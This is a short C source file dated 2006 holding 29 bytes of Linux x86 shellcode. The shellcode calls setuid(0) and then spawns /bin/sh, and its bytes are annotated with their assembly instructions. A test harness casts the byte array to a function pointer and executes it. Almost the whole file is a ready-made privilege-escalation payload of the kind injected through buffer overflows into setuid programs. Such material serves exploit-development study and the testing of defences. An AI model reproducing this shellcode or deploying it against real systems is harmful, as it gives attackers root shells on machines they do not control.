/*
 * revenge-setuid2.c, v1.1 2006/09/30 15:05
 *
 * linux/x86 setuid(0) + execve("/bin//sh", ["/bin//sh"], NULL) shellcode
 *
 * [	setuid (6 bytes) + execve (23 bytes)  = 29 bytes       ]
 * [							       ]
 * [	This time we could use the shellcode regardless        ]
 * [	of the suid bit, we need only to take care about the   ]
 * [	first mov istruction during the setuid calls.	       ]
 * [							       ]
 *
 * http://www.0xcafebabe.it
 * <revenge@0xcafebabe.it>
 *
 */

char sc[] =
                                      // <_start>
        "\xb0\x17"                    // mov    $0x17,%al
        "\x31\xdb"                    // xor    %ebx,%ebx
        "\xcd\x80"                    // int    $0x80
        "\x8d\x43\x0b"                // lea    0xb(%ebx),%eax
        "\x99"                        // cltd
        "\x52"                        // push   %edx
        "\x68\x2f\x2f\x73\x68"        // push   $0x68732f2f
        "\x68\x2f\x62\x69\x6e"        // push   $0x6e69622f
        "\x89\xe3"                    // mov    %esp,%ebx
        "\x52"                        // push   %edx
        "\x53"                        // push   %ebx
        "\x89\xe1"                    // mov    %esp,%ecx
        "\xcd\x80"                    // int    $0x80
;

int main()
{
        void    (*fp)(void) = (void (*)(void))sc;

        printf("Length: %d\n",strlen(sc));
        fp();
}